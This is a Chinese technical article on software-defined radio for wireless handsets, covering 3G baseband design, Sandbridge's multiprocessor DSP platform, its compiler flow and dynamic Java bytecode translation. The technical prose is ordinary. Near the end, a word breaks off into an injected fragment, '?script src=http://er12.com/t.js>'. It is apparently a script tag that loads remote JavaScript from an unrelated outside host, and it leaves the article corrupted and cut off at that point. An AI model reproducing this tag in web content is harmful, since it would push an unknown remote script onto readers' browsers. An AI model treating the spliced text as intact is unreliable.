用于无线手持设备设计的SDR技术

随着移动通信技术的飞速发展,新标准和新业务的推出越来越快,传统的设计开发平台已经无法满足设计的需要。本文介绍的具备自动dsp操作功能的高级编译器,为广大无线手持设备设计工程师提供了一个可针对dsp操作进行优化的高性能、可扩展的软件无线电(sdr)设计平台。

  怎样才能实现真正的宽带无线手持设备和系统,这其中所必需的技术正面临着严峻的设计挑战。无线手持设备制造商所生产的产品必须能提供扩展性业务,并且能在全球通用。而产品设计师面临的挑战则在于要开发出高性能的宽带无线设备,同时又必须保证这些设备能够达到极高的电源利用率。

  为了满足这些要求,不得不在设计和实现时进行一定的权衡和选择,这就使得对下一代基带处理器的要求变得极富挑战性。在实现设备整合时,硬件和软件方面都面临极大的挑战。而且要满足功耗约束条件,就必须在设计的每个阶段——结构设计、微结构设计、软件设计、算法设计、逻辑设计、电路设计和工艺设计阶段——都采用最新的技术。随着人们对带宽要求的增加,对性能的要求也急剧膨胀,这时,功耗方面的设计就更加困难。采用系统级芯片(soc)集成和低压工艺技术能够设计出功率更低的soc芯片,但这种单一的解决方案对流式多媒体应用来说还远远不够。

  目前,在无线和有线通信市场,已有大量标准存在或已经被提出,而要及时实现这多种多样的标准就需要一种可编程平台。 在无线通信应用中,gsm和is-54的数据速率都被限制在15kbps以下,而未来的第三代(3g)系统的数据速率将高达目前速率的100倍以上。这种更高的通信速率就对dsp处理提出了更高的要求。

  3g无线通信的一个重要趋势是使用java来实现应用软件。今后的3g无线系统将大量使用java。同时,许多运营商也已经开始提供基于java的业务。因此,有可能所有的3g系统都必须支持java。

  以前的通信系统由于运算要求不是很高,所以一直都采用硬件进行开发。这些系统中的dsp一般仅用于实现语音编码和定制硬件模块。而在高性能3g系统中,要实现一个系统可能需要使用超过二百万个逻辑门电路,这样,一个复杂的3g系统可能要花费几个月的时间才能完成。而且,逻辑设计完成后,设计中不论出现任何错误都必须重新纠正并重新制造设备,从而使设计的完成时间又推迟9个月。这种高强度的工作过程违背了对手持设备具备短开发周期的要求。下面我们将看到,sanbridge设计小组在通信系统设计中采用的设计方法是如何加快设计进程的。

  新的设计方法

  sanbridge设计小组并没有为传输系统的每个功能单独设计定制模块,而是设计了一个能够处理宽带通信业务的处理器。然后再对这个体积微小但功能强大的内核进行高度优化,并利用多个同样的处理器来为宽带通信提供平台。这种方法能够很好地适应半导体的发展,并且在系统配置时具有很大的灵活性,可从容应对未来标准的发展和任何所必需的现场修改。

  在设计过程中,sanbridgey小组采用matlab来设计通信系统,因此可以确保获得传输系统所要求的误码率和误块率(block error rate)。然后,再将matlab系统设计与定点c代码接口。自此以后,不再需要编程人员介入。sanbridge公司高度优化的编译器能够很好地利用dsp操作的并发性,并优化sandblaster dsp的性能。

  上述设计中独特地结合了simd vector/dsp单元、并行压缩单元以及基于risc的整数单元等多项现代技术。此外,复合指令(分成多组数据包加以执行)的使用也节约了指令空间。可以说,多种技术的有机结合使设计师能够高效地实现控制代码、dsp和java处理。

  动态转换

  jvm转换设计师采用软件和硬件两种方法执行java字节代码。软件方法的优点是执行起来非常灵活,而硬件方法的优点则在于执行的性能较高。当年开发的delfa-java结构引入了动态转换的概念,即将java代码动态转换到基于risc的多线程机中去,这种多线程机能够进行vector simd dsp操作。随后,sandbridge的工程师也自主开发出了动态转换功能。正是java字节代码具备静态可决定的类型状态,这一重要特性加快了这种动态转换功能的开?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计